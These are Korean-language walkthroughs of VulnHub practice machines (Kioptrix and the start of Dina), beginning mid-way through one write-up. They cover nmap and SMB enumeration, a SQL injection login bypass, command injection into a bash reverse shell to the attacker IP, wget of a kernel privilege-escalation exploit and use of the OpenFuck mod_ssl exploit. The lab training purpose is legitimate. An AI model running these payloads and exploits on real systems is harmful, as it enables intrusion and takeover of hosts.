80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).                                                                                          
111/tcp  open  rpcbind  2 (RPC #100000)                     
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            610/udp   status
|_  100024  1            613/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
|_ssl-date: 2024-06-17T12:02:05+00:00; +3h59m56s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47 
|_Not valid after:  2010-10-08T00:10:47 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
|_http-server-header: Apache/2.0.52 (CentOS)
613/tcp  open  status   1 (RPC #100024) 
631/tcp  open  ipp      CUPS 1.1
|_http-server-header: CUPS/1.1
| http-methods: 
|_  Potentially risky methods: PUT
|_http-title: 403 Forbidden
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 08:00:27:FF:51:42 (Oracle VirtualBox virtual NIC)

Host script results:
|_clock-skew: 3h59m55s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds

22 - openssh 3.9p1

80 - apache httpd 2.0.52 (CentOS)

443 - ssl/http apache httpd 2.0.52

631 - ipp cups 1.1 (프린터 관련 포트)

3306 - mysql (unauthorized)

 

WEB

우선 가장 쉽게 정보 수집이나 취약점을 파악하여 연계할 수 있는 웹 취약점 부터 파악한다

첫 페이지에서 관리자 계정으로 로그인할 수 있는 페이지가 뜬다. Wappalyzer에 의하면 apache 2.0.52, PHP 4.3.9를 사용하고 있다고 한다.

robots.txt 및 페이지 소스에서 획득할만한 정보 없다. gobuster 툴을 이용해 디렉터리 브루트포싱을 한다

apache를 설치하고 기본적인 메뉴얼에 대한 설명이 적혀있는 것을 확인할 수 있는데, 웹 서버를 구축한 관리자가 이 페이지를 지우지 않는다면 이 또한 공격자가 공격할 취약점이 될 수 있다는점 명심해야한다.

 

MYSQL

└─$ mysql -u root -h 192.168.45.88 
ERROR 1130 (HY000): Host '192.168.45.219' is not allowed to connect to this MySQL server

 

Mysql이 unauthorized 상태에 있었지만 외부에서 접근하는것은 불가능하다. 그렇다면 웹 사이트에서 SQL Injection 공격을 해본다

 

username : admin' or '1'='1

password: 아무거나

SQL Injection 공격이 성공했다. ping을 보낼 수 있는 cmd 창이 뜨는데 127.0.0.1을 넣어 테스트를 한번 해본다

이렇게 새로운 창이 뜨면서 결과가 출력되는데 어쩌면 Command Injection 까지 할 수 있는 발판이 마련되었다.

Command Injection 공격까지 취약한 것을 파악했다.

그렇다면 간단한 한줄 페이로드를 생성하여 cmd 에 삽입한 후에 리버스쉘을 획득한다

 

익스플로잇 

SQL Injection 이후 Command Injection 까지 취약점을 발견하였고, 테스트 결과 성공하였다.

웹쉘보단 리버스쉘을 선호하는 나는 revshells.com를 참고하여 bash 쉘에서 사용할 수 있는 간단한 리버스쉘 코드를 작성하였다.

/bin/bash -i >& /dev/tcp/192.168.45.219/7777 0>&1

리버스쉘을 얻는 것이기 때문에 공격자가 받을 수 있는 IP와 포트번호를 적은 후 netcat 명령어를 이용하여 리버스쉘을 획득한다

핑을 보낸 결과를 출력하는 웹 페이지에서는 로딩이 되고있지만 공격자 PC에서는 리버스쉘을 획득했다.

 

후속 정보 수집

간단히 리버스쉘 업그레이드를 한 후에 후속 정보 수집을 한다. 업그레이드가 되었다면 ssh 연결된 것과 같기 때문에 실수로 끄는 일은 없을 것이다.

1. python -c 'import pty;pty.spawn("/bin/bash")' 
2. ctrl+z 
3. stty raw -echo; fg 
4. reset

 

index.php파일을 읽어 데이터베이스에 대한 정보가 있는지 확인한다.

bash-3.00$ cat index.php                                                      
<?php                        
        mysql_connect("localhost", "john", "hiroshima") or die(mysql_error()); 
        //print "Connected to MySQL<br />";
        mysql_select_db("webapp");                                            
                                                                              
        if ($_POST['uname'] != ""){
                $username = $_POST['uname'];
                $password = $_POST['psw'];
                $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
                //print $query."<br>";
                $result = mysql_query($query);

                $row = mysql_fetch_array($result);
                //print "ID: ".$row['id']."<br />";
        }

?>

평문화된 유저 이름과, 비밀번호가 있는 것을 확인했다. 데이터베이스에 접근하여 다른 취약점이 있는지 확인한다

bash-3.00$ mysql -u john -p
mysql -u john -p
Enter password: hiroshima

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 352 to server version: 4.1.22

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql    |
| test     |
| webapp   |
+----------+
3 rows in set (0.00 sec)

정상적으로 접근이 성공했다. 

데이터베이스에서 역시 두개의 유저를 발견, 해시화 되지 않고 평문화된 비밀번호 획득했다. 평문화된 비밀번호 대신 최신 알고리즘을 사용한 해시화된 알고리즘을 사용하는 것을 권장한다.

 

권한 상승

권한 상승을 위한 linpeas.sh 스크립트를 실행 시킨다.

딱히 권한 상승을 할 만한 취약점이 없었는데 시스템에 대한 정보가 눈에 들어왔다

대상 호스트는 CentOS 4.5 리눅스 커널은 2.6.9이다. 한번더 searchsploit 툴을 이용해 공개 취약점이 있는지 검색해본다

사용할 것은 9542.c, CVE-2009-2698 코드를 가지고 있는 공개 취약점이다.

** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).

권한 상승 익스플로잇 코드에서 발췌한 내용이다. 대상 호스트와 동일한 OS와 커널 버전을 테스트 했다고 명시되어있다.

공격자 PC에서 파일을 다운, 컴파일 후 대상 호스트에서 실행시킨다.

 

# 익스플로잇 코드 가져오기
└─$ searchsploit -m 9542 .

# 공격자PC에서 웹 서버 열기
└─$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

# 대상 호스트에서 다운로드
bash-3.00$ wget http://192.168.45.219:1234/9542.c

대상 호스트에서 컴파일 후에 실행.  최종적으로 관리자 권한을 획득했다. 

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

 

Kioptrix: Level 1 (#1)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 시나리오 모의해킹은 Kioptrix 입니다. 이 실습 VM은 IP가 잘안잡혀서 살짝 삽질을 좀 했는데 IP 설정하는 것 부터 설명하도록 하겠습니다.

 

 

실습 환경 : VirtualBox(Kali, 실습VM)

실습 VM 구축

 

1. Kioptrix 사이트에서 압축 파일을 다운 받은 후 압축을 푼다

2. VirtualBox 에서 머신 -> 새로 만들기

3. 이름 설정 및 Linux를 선택한 후 컴퓨터 아키텍쳐를 선택한다

4. 최소 메모리 크기를 1024MB로 설정하거나 기본값으로 설정한다.

5. 가상 하드 디스크를 추가하지 않음을 선택한다

6. 생성 후 네트워크 연결 설정 어댑터에 브릿지로 설정 후 고급 설정에서 PCnet-PCI II(Am79C970A)를 선택한다

7. 이후 저장소 -> 컨트롤러:IDE -> 하드디스크 추가 -> 기존 디스크 선택 -> 압축해제한 Kioptrix VMDK 파일을 검색해서 추가한다.

8. VM을 실행 시킨 후 Kali에서 IP가 뜨는지 확인한다.

이렇게 뜬다면 정상적으로 된것이다. 이제 실습을 진행하면 된다

 

정보수집

Nmap을 통해 실행중인 호스트를 조사한다

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.124
Host is up (0.00029s latency).
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)
...

192.168.45.124 IP를 가진 실습 VM이 검색 되었다. Nmap을 통해서 어떤 포트가 열려있는지 또한 자세한 정보수집 까지 진행한다.

└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.124 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:11 KST
Nmap scan report for 192.168.45.124
Host is up (0.00032s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
32768/tcp open  filenet-tms
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.32 seconds

이전 실습에 비해 꽤 열려있는 포트가 있다. 자세한 정보수집을 위해서는 열려있는 포트 번호를 일일히 쳐줘야하는데 그것보다 Nmap의 출력된 파일을 포트번호만 나오게 파싱한다

└─$ cat tcpAll.nmap | awk '{ print $1 }' | grep -i 'tcp' | tr -d '/tcp' | paste -s -d ','
22,80,111,139,443,32768

 

파싱된 포트를 넣어서 추가적으로 자세한 정보 수집을 한다

└─$ sudo nmap -p 22,80,111,139,443,32768 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.124 -oA tcpDetailed       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 17:14 KST
Nmap scan report for 192.168.45.124                                           
Host is up (0.00032s latency).
                                                                                                                                                             
PORT      STATE SERVICE     VERSION                                           
22/tcp    open  ssh         OpenSSH 2.9p2 (protocol 1.99)     
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)                                                                                               
|_sshv1: Server supports SSHv1
80/tcp    open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-title: Test Page for the Apache Web Server on Red Hat Linux                                                                                           
| http-methods:                                                               
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1          32768/tcp   status
|_  100024  1          32768/udp   status
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ssl-date: 2024-06-14T12:14:43+00:00; +3h59m59s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06 
|_Not valid after:  2010-09-26T09:32:06 
|_http-title: 400 Bad Request
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:A2:42:96 (Oracle VirtualBox virtual NIC)

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: 3h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.49 seconds

얻을 수 있는 정보가 꽤많이 나왔다.

22 - openssh 2.9p2

80  - apache httpd 1.3.20

139 - netbios ssn smbd (workgroup : MYGROUP)

443 - apache httpd 1.3.20, mod_ssl/2.8.4, openssl/0.9.6p

 

취약점 진단

SMB

nbtscan 을 통해서 netbios 이름을 우선 파악한다

└─$ nbtscan 192.168.45.124
Doing NBT name scan for addresses from 192.168.45.124

IP address       NetBIOS Name     Server    User             MAC address      
------------------------------------------------------------------------------
192.168.45.124   KIOPTRIX         <server>  KIOPTRIX         00:00:00:00:00:00

 

이후 enum4linux 툴을 이용해 smb에 대해서 자세한 정보를 더 파악해본다

└─$ enum4linux -a 192.168.45.124 | tee smbd_res.txt

==================================( OS information on 192.168.45.124 )==================================                                                    
                                                                                                                                                             
                                                                                                                                                             
[E] Can't get OS info with smbclient                                                                                                                         
                                                                                                                                                             
                                                                                                                                                             
[+] Got OS info for 192.168.45.124 from srvinfo:                                                                                                             
        KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server                                                                                                     
        platform_id     :       500                                                                                                                          
        os version      :       4.5                                                                                                                          
        server type     :       0x9a03            

================================( Share Enumeration on 192.168.45.124 )================================                                                     
                                                                                                                                                             
                                                                                                                                                             
        Sharename       Type      Comment                                                                                                                    
        ---------       ----      -------                                                                                                                    
        IPC$            IPC       IPC Service (Samba Server)                                                                                                 
        ADMIN$          IPC       IPC Service (Samba Server)                                                                                                 
Reconnecting with SMB1 for workgroup listing.                                                                                                                
                                                                                                                                                             
        Server               Comment                                                                                                                         
        ---------            -------                                                                                                                         
        KIOPTRIX             Samba Server                                                                                                                    
                                                                                                                                                             
        Workgroup            Master                                                                                                                          
        ---------            -------                                                                                                                         
        MYGROUP              KIOPTRIX                                                                                                                        
                                                                                                                                                             
[+] Attempting to map shares on 192.168.45.124                                                                                                               
                                                                                                                                                             
                                                                                                                                                             
[E] Can't understand response:                                                                                                                               
                                                                                                                                                             
NT_STATUS_NETWORK_ACCESS_DENIED listing \*                                                                                                                   
//192.168.45.124/IPC$   Mapping: N/A Listing: N/A Writing: N/A                                                                                               
                                                                                                                                                             
[E] Can't understand response:                                                                                                                               
                                                                                                                                                             
tree connect failed: NT_STATUS_WRONG_PASSWORD                                                                                                                
//192.168.45.124/ADMIN$ Mapping: N/A Listing: N/A Writing: N/A

뭔가 smb 버전에 대한 정보를 원했는데 원하던 정보는 나오지 않았다. smbclient를 이용해서도 smb에 접근을 시도해본다

└─$ smbclient \\\\192.168.45.124\\MYGROUP   
Password for [WORKGROUP\kali]:
Server does not support EXTENDED_SECURITY  but 'client use spnego = yes' and 'client ntlmv2 auth = yes' is set
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME

Anonymous 로그인은 성공햇지만 접속이 실패 하였다. 다시 처음으로 돌아가 Nmap을 이용해 smb에 대한 추가 정보 수집을 진행해본다

└─$ nmap -p 139 --min-rate 1500 -sV --script='smb-vuln-*' -Pn -n --open 192.168.45.124
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-14 18:10 KST
Nmap scan report for 192.168.45.124
Host is up (0.00053s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd (workgroup: MYGROUP)

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [14]
|_smb-vuln-ms10-054: false
| smb-vuln-cve2009-3103: 
|   VULNERABLE:
|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2009-3103
|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
|           aka "SMBv2 Negotiation Vulnerability."
|           
|     Disclosure date: 2009-09-08
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds

smb관련 스크립트를 돌리니 대상 호스트에서 운영중인 서버에 대한 취약점 까지 파악하여 알려주었다. 

metasploit을 통해서 익스플로잇까지 진행해봤지만 대상 호스트에 접근이 안되는 것으로 보아 다른 취약점을 진단하여 익스플로잇한다.

 

WEB

대상 호스트에서 실행중인 웹에 대해서 잠재적인 취약점 및 다양한 정보를 스캐닝하기 위해서 nikto를 사용하여 취약점 진단 부터 익스플로잇까지 실시한다.

Nmap 을 통한 정보수집에서 동일한 mod_ssl 버전을 파악했으니, searchsploit 툴을 이용해 익스플로잇 할 수 있는 취약점을 찾는다

└─$ searchsploit mod_ssl       
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service                                                                            | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                                 | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                                       | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)                                                 | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)                                                 | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow                               | unix/remote/40347.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

내가 사용할 취약점은 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)  이다. c 파일을 가져와서 컴파일 후에 익스플로잇을 진행해보도록한다

# 익스플로잇 파일 가져오기
└─$ searchsploit -m 47080 .

# 컴파일 하는 방법 파악 
└─$ cat 47080.c | head -30
...
/*
 * OF version r00t VERY PRIV8 spabam
 * Version: v3.0.4
 * Requirements: libssl-dev    ( apt-get install libssl-dev )
 * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
 * objdump -R /usr/sbin/httpd|grep free to get more targets
 * #hackarena irc.brasnet.org
 * Note: if required, host ptrace and replace wget target
 */
...

# 컴파일
└─$ gcc -o exploit 47080.c -lcrypto

 

정보수집에서 얻은 apache 버전은 1.3.20 Red-hat/Linux 이다 OS 정보가 있으니 참고한다

우리가 사용할 것은 0x6b 이다!

 

익스플로잇

컴파일된 exploit 파일을 이용하여 익스플로잇을 진행하여 대상 호스트로 초기 침투를 시도한다.

# 최종적으로 사용할 명령어
└─$ ./exploit 0x6b 192.168.45.124 443

# 초기 침투 증명
id; hostname 
uid=48(apache) gid=48(apache) groups=48(apache)
kioptrix.level1

대상 호스트에 접근해 이전에 얻지 못했던 smb 정보에 대해서 찾았다.

mod_ssl 취약점을 통해서 익스플로잇하여 초기 침투에 성공했지만, 이제는 samba 버전도 알았으니 samba 취약점을 찾아 익스플로잇할 수 있는 하나의 취약점을 더 발견했다.

 

우선 이미 대상 호스트에 초기 침투했으니, 권한 상승을 하기 위해서 추가적인 정보를 수집한다. 

 

권한 상승

사실 권한 상승은 대상 호스트에 초기 침투 했을때 ptrace-kmod.c 파일이 다운받아지면서 컴파일 하고 관리자 권한으로 권한 상승이 되는것인데, SSL 연결에 실패해서 외부에서 파일을 받아 오지 못해서 권한 상승 중간에 막혀 apache 유저로 접근이 됬다. 

그렇다면 내가 해야할 것은 ptrace-kmod.c 를 검색해 kali에서 파일은 다운하고 그 다운받은 파일을 대상 호스트에서 다운받는 방법이 있다.

이렇게 파일을 다운받았으면 ctrl+c를 통해서 접근한 대상 호스트에서 로그아웃 한 다음 다시 접근을 한다

└─$ ./exploit 0x6b 192.168.45.124 443

그렇게 되면 ptrace-kmod.c 파일이 있기 때문에 자동으로 컴파일이 되고 그것을 실행 시켜 관리자 권한을 획득한 것을 확인 할 수 있다.

컴파일하고 난 이후에 대상 호스트에서 파일을 다운받아도 되겠다 라는 생각을 했다.

 

https://www.vulnhub.com/entry/dina-101,200/ 

 

Dina: 1.0.1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

시나리오 모의해킹을 공부하고 연습하기 위해서 수많은 ctf, wargame 사이트 중에서 제가 선택한 사이트는 vulnhub 입니다. ctf에서 출제된 문제들을 VM으로 제공하는 사이트인데 찾아보니 제가 공부하기에 좋을 것 같다고 판단해 새로운 시작을 해보려합니다.

 

실습 환경 : VMware Workstation (실습 VM), VirtualBox(Kali linux)

OS : Kali linux

 

실습 환경 구축

우선 실습 VM인 Dina: 1.0.1 이미지 파일을 다운받아서 VMware Workstation에서 실행시킨 후 IP를 확인해야한다.

Guest 계정과 touhid 계정은 비밀번호를 입력해야 접속이 가능하고 Guest Session은 바로 접속이 가능해서 로그인 한 후에 터미널에서  ip를 확인해 공격자 PC 인 칼리 리눅스와 동일한 IP 대역대에 있는지 확인한다. 이후 다른 실습을 할때에는 DHCP로 인해서 자동 IP 할당이 되니 이 환경에서 잘된다면 다른 환경에서도 잘되는 것으로 판단.

 

저는 이전에 쓰던 kali linux를 VirtualBox 에서 구성해서 사용하고 있었으므로 VMware Workstaion 브릿지 네트워크에서 잡히는 네트워크 대역대를 확인 후 Kail Linux에서 해당 네트워크 인터페이스를 추가하여 동일 IP 대역대로 접근 하였습니다.

 

정보 수집

우선 Nmap 툴을 이용하여 대상 호스트가 잘 동작중인지 확인한다.

└─$ sudo nmap -sn 192.168.45.0/24                                                                                        
...
Nmap scan report for 192.168.45.243
Host is up (0.00038s latency).
MAC Address: 00:0C:29:10:53:59 (VMware)
Nmap scan report for 192.168.45.219
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.95 seconds

4개의 호스트가 나오고 대상 호스트는 192.168.45.243 IP를 가지고 있는 것으로 확인했고, 포트스캐닝을 진행한다.

 

└─$ sudo nmap -p- --max-retries 1 --min-rate 2000 -Pn -n --open 192.168.45.243 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:11 KST
Nmap scan report for 192.168.45.243
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:10:53:59 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds

-p- : 모든 포트에 대해서 스캔해줘

--max-retries 1 : 최대 재시도 횟수는 1

--min-rate 2000 : 포트 스캐닝 속도를 2000으로 설정해줘 (DoS 공격 예방)

-Pn : host discovery 해제

--open : 열려있는 포트만

-oA tcpAll : xml, gnmap, nmap 파일 확장자를 가진 tcpAll 이라는 파일 이름으로 출력해서 저장해줘

등등 자주 사용하는 Nmap의 옵션들이다. Nmap은 기본적으로 CONNECT Scan을 진행한다 하지만 앞에 sudo를 붙여주면 -sS 옵션을 붙여주지 않아도 기본으로 SYN Scan을 진행한다. 하지만 주의해야할 점은 SYN Scan이 CONNECT Scan 보다 빠르게 진행하여 대상 호스트에 DoS 공격을 일으킬 수 있으니 --min-rate 라던지 다양한 옵션을 잘 활용해서 사용해 줘야한다

 

다시 정보 수집으로 돌아가서 현재 대상호스트에서는 80번 포트 http 서비스가 열려있는 것을 확인했고, Nmap의 기본 스크립트 및 서비스 배너그래빙을 확인하기 위해서 -sV(네트워크 서비스 배너그래빙), -sC(Nmap 기본 스크립트 옵션) 옵션을 추가해서 자세한 정보를 수집한다.

 

└─$ sudo nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.243 -oA tcpDetailed                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 17:19 KST
Nmap scan report for 192.168.45.243
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Dina
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 5 disallowed entries 
|_/ange1 /angel1 /nothing /tmp /uploads
MAC Address: 00:0C:29:10:53:59 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.83 seconds

 

자세한 정보 수집 결과 Apache httpd 2.2.22 버전을 사용중이고 robotx.txt가 있는데 5개의 disallowed 가 있다고 한다.

그 5개는 /ange1 /angel1 /nothing /tmp /uploads 등이 있다.

 

웹사이트 접속이 가능하니 공격자 PC 에서 접속을 한번 해본다

 

웹(80)

첫 웹 사이트 랜딩페이지 이다. 뭔가 천사에 대한 내용이,...적혀있다.

페이지 소스에서는 별다른 특이점이 없다.

정보 수집에서 확인했던 /robots.txt에 들어가본다. 

Nmap을 통해 정보수집을 하더라도 거짓 양성 반응일 수도 있으니 직접 확인하는 것을 추천한다.

/nothing

/nothing 엔드포인트이다. 페이지 소스를 확인해보니

<!--
#my secret pass
freedom
password
helloworld!
diana
iloveroot
-->

아주 흥미로운 것을 발견했다.

일단 잘 체크해두자 어쩌면 비밀번호 브루트포싱을 진행할때 유용하게 사용될 수도 있기 때문에 리스트파일을 하나 작성해서 만들어 놓는다.

 

나머지 disallowed 된 경로를 확인해봤는데 별다른 특이점이 없다.

 

취약점 진단

웹 취약점을 진단하기 위해서 gobuster툴을 이용하여 디렉터리 브루트포싱을 진행한다

└─$ gobuster dir -u http://192.168.45.243/ -w /usr/share/dirb/wordlists/common.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.45.243/
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 403) [Size: 290]
/.htpasswd            (Status: 403) [Size: 291]
/.htaccess            (Status: 403) [Size: 291]
/.hta                 (Status: 403) [Size: 286]
/index                (Status: 200) [Size: 3618]
/index.html           (Status: 200) [Size: 3618]
/robots.txt           (Status: 200) [Size: 102]
/robots               (Status: 200) [Size: 102]
/secure               (Status: 301) [Size: 317] [--> http://192.168.45.243/secure/]
/server-status        (Status: 403) [Size: 295]
/tmp                  (Status: 301) [Size: 314] [--> http://192.168.45.243/tmp/]
/uploads              (Status: 301) [Size: 318] [--> http://192.168.45.243/uploads/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

디렉터리 브루트포싱 결과 중에 유독 끌리는 /secure 가 있는데 바로 접속해본다. 나머지는 정보 수집때 확인했던 것들이니 특이점이 없다.

/secure

 

역시는 역시다. 파일을 다운 받아서 확인해본다.

 

7z을 이용해서 아카이브를 풀려고하니 password가 있다

페이지 소스에서 얻었던 freedom을 이용하여 password를 푸니 바로 풀렸다.

수월하게 잘 흘러가고있다.

위에서 얻은 정보로 접속한 엔드포인트이다. username은 위에서 알려줬기 때문에 password만 찾으면 된다.

 

몇가지 얻은 비밀번호가 아주 유용하게 이용되고 있다. 각자 찾아보시길!!

이 페이지에서 많은 기능이 있는데 파일을 보낼수 있는 기능이 있다. 공개 취약점이 있는지 확인하기 위해서 searchsploit 툴을 이용해서 공개 취약점도 확인해본다

 

└─$ searchsploit playsms
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)                                         | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)                                         | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                                                                | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                                                             | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                                                      | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                                                                    | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                                                               | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload                                         | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                                                           | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit)                                     | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                                                                        | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                                                                 | php/webapps/48199.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

